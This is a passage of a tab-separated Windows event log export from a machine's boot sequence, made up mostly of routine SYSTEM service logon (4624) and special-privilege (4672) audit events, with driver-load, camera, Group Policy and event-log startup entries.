Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.700\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.702\t51046\tDHCPv6 client service is started\tInformation\tSystem\tMicrosoft-Windows-DHCPv6-Client\n05.09.2026 08:28:57.709\t5320\tThe Group Policy Client service is currently configured as a standalone service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.709\t5320\tInitializing and reading current service configuration for the Group Policy Client service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.709\t5320\tInitializing service instance state to detect previous instances of the service.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.709\t5321\tA previous instance of the Group Policy Client Service was detected. Parameter: 951004af-0f05-4884-8338-5516f9f3e36f\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.712\t6\tFile System Filter 'bfs' (10.0, \u200e2089\u200e-\u200e03\u200e-\u200e04T05:46:40.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.718\t61\tFrameServer FsmDeviceWatcher InternalUpdateSensorGroups Start\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.719\t6\tFile System Filter 'wcifs' (10.0, \u200e2093\u200e-\u200e08\u200e-\u200e15T18:45:54.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.724\t1\t[PDO] (0x0000.0x04.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:57.728\t6\tFile System Filter 'luafv' (10.0, \u200e2080\u200e-\u200e07\u200e-\u200e22T01:18:14.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.747\t2\tWCIFS filter registration succeeded\tInformation\tMicrosoft-Windows-Containers-Wcifs/Operational\tMicrosoft-Windows-Containers-Wcifs\n05.09.2026 08:28:57.749\t8025\tThe Microsoft Passport service started successfully.\t16\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:28:57.756\t6\tFile System Filter 'CldFlt' (10.0, \u200e2096\u200e-\u200e07\u200e-\u200e17T03:30:39.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.756\t1\tFile System Filter 'CldFlt' (Version 10.0, \u200e2096\u200e-\u200e07\u200e-\u200e17T03:30:39.000000000Z) unloaded successfully.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.756\t6\tFile System Filter 'CldFlt' (10.0, \u200e2096\u200e-\u200e07\u200e-\u200e17T03:30:39.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.758\t6\tFile System Filter 'UnionFS' (10.0, \u200e2069\u200e-\u200e02\u200e-\u200e06T03:45:31.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.759\t2\tCLDFLT registration succeeded\tInformation\tMicrosoft-Windows-CloudFiles-Filter/Operational\tMicrosoft-Windows-CloudFiles-Filter\n05.09.2026 08:28:57.763\t10001\tWCMSVC: Start WCM Service Startup\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.764\t6\tFile System Filter 'storqosflt' (10.0, \u200e2051\u200e-\u200e09\u200e-\u200e16T09:31:38.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.772\t6\tFile System Filter 'bindflt' (10.0, \u200e1997\u200e-\u200e10\u200e-\u200e04T07:48:21.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:57.773\t2\tBINDFLT filter registration succeeded\tInformation\tMicrosoft-Windows-Containers-BindFlt/Operational\tMicrosoft-Windows-Containers-BindFlt\n05.09.2026 08:28:57.777\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.777\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.777\t217\tFilterIrp Pending\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.789\t1003\t\"CDE reported a state change \n\n State: Disconnected. Service is not started. \n\n Name: Wlansvc.\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.789\t1003\t\"CDE reported a state change \n\n State: Disconnected. Service is not started. \n\n Name: Wwansvc.\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.789\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.789\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.789\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.789\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.791\t10002\tWCMSVC: Complete WCM Service Startup\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:28:57.793\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.793\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.793\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.793\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.796\t5000\t\"TPM Manufacturer: Intel\nVersion: 2.0\nFirmware Version: 700.19.18.2682\nIs Ready: true\"\tInformation\tMicrosoft-Windows-HelloForBusiness/Operational\tMicrosoft-Windows-HelloForBusiness\n05.09.2026 08:28:57.831\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.831\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.838\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t220\tPowerIrp_CheckingPLFRegistry\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.838\t230\tPowerIrp_PassiveWakeupCompleted\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.840\t50\tCamera DeviceMFT InitializeTransform, SymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\GLOBAL\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.843\t6009\tMicrosoft (R) Windows (R) 10.00. 26200  Multiprocessor Free.\tInformation\tSystem\tEventLog\n05.09.2026 08:28:57.844\t6005\tThe Event log service was started.\tInformation\tSystem\tEventLog\n05.09.2026 08:28:57.845\t6013\tThe system uptime is 10 seconds.\tInformation\tSystem\tEventLog\n05.09.2026 08:28:57.856\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.856\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.861\t51\tCamera DeviceMFT InitializeTransform, hr: 0x0\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.867\t222\tStart of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.868\t223\tStop of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.868\t202\tStart of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.868\t203\tStop of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t206\tStart of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t207\tStop of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t217\tFilterIrp Pending\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 